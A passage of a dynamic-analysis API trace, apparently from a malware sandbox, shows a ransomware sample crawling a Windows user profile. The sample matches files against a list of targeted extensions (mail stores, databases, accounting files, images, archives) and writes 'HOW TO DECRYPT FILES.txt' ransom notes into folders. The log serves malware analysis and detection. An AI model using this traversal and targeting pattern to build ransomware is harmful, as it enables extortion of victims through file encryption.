lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned -1 [0090.879] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned -1 [0090.879] lstrcmpiA (lpString1="", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned -1 [0090.879] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned="ntuser.dat.LOG2" [0090.879] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.879] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.879] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.879] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0x20 [0090.879] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0090.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.ems") returned 0 [0090.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.db") returned 0 [0090.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.dbf") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.myox") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.myo") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qbw") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qbb") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qbm") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qbo") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qbx") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qba") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qby") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qbj") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.ofx") returned 0 [0090.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.qif") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.mye") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.mbox") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.eml") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.pst") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.ost") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.idx") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.dbx") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.sql") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.mdb") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.fdb") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.wab") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.dat") returned 0 [0090.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.txt") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.jpeg") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.jpg") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.png") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.php") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.cs") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.cpp") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.rar") returned 0 [0090.882] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", pszSpec="*.zip") returned 0 [0090.883] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0090.883] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.883] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned -1 [0090.884] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned -1 [0090.884] lstrcmpiA (lpString1="", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned -1 [0090.884] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0090.884] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.884] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.884] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.884] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0x20 [0090.884] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0090.884] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0090.884] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.884] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned -1 [0090.885] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned -1 [0090.885] lstrcmpiA (lpString1="", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned -1 [0090.885] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0090.885] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.885] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.885] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.885] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0x20 [0090.885] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0090.885] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0090.885] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.885] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ntuser.ini") returned -1 [0090.885] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ntuser.ini") returned -1 [0090.885] lstrcmpiA (lpString1="", lpString2="ntuser.ini") returned -1 [0090.886] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0090.886] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.886] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.886] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.886] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0x20 [0090.886] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="ntuser.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini" [0090.886] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb7edae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb7edae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0090.886] lstrcmpA (lpString1=".", lpString2="Pictures") returned -1 [0090.886] lstrcmpA (lpString1="..", lpString2="Pictures") returned -1 [0090.886] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned="ntuser.ini" [0090.886] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Pictures" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures" [0090.886] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb7edae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb7edae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x52d5ac, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0090.887] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.887] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb7edae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb7edae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0090.887] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.887] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.887] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.887] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0090.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0090.887] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0090.887] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*") returned="*.*" [0090.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.887] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="" [0090.887] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" [0090.887] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt")) returned 0xffffffff [0090.888] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.890] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.891] CloseHandle (hObject=0x88) returned 1 [0090.891] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" [0090.891] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da2df60, ftCreationTime.dwHighDateTime=0x1d5e46b, ftLastAccessTime.dwLowDateTime=0x2577f3b0, ftLastAccessTime.dwHighDateTime=0x1d5e2af, ftLastWriteTime.dwLowDateTime=0x2577f3b0, ftLastWriteTime.dwHighDateTime=0x1d5e2af, nFileSizeHigh=0x0, nFileSizeLow=0xf66d, dwReserved0=0x0, dwReserved1=0x0, cFileName="gAWK3pTQz16l.gif", cAlternateFileName="GAWK3P~1.GIF")) returned 1 [0090.891] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.891] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gAWK3pTQz16l.gif") returned -1 [0090.891] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gAWK3pTQz16l.gif") returned 1 [0090.891] lstrcmpiA (lpString1="", lpString2="gAWK3pTQz16l.gif") returned -1 [0090.891] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned="desktop.ini" [0090.891] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0090.891] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="" [0090.891] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" [0090.891] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt")) returned 0x20 [0090.891] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="gAWK3pTQz16l.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gAWK3pTQz16l.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gAWK3pTQz16l.gif" [0090.892] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3344cbf0, ftCreationTime.dwHighDateTime=0x1d5de34, ftLastAccessTime.dwLowDateTime=0xf1b2ae30, ftLastAccessTime.dwHighDateTime=0x1d5dc6e, ftLastWriteTime.dwLowDateTime=0xf1b2ae30, ftLastWriteTime.dwHighDateTime=0x1d5dc6e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mcd8rhEc9u", cAlternateFileName="MCD8RH~1")) returned 1 [0090.892] lstrcmpA (lpString1=".", lpString2="mcd8rhEc9u") returned -1 [0090.892] lstrcmpA (lpString1="..", 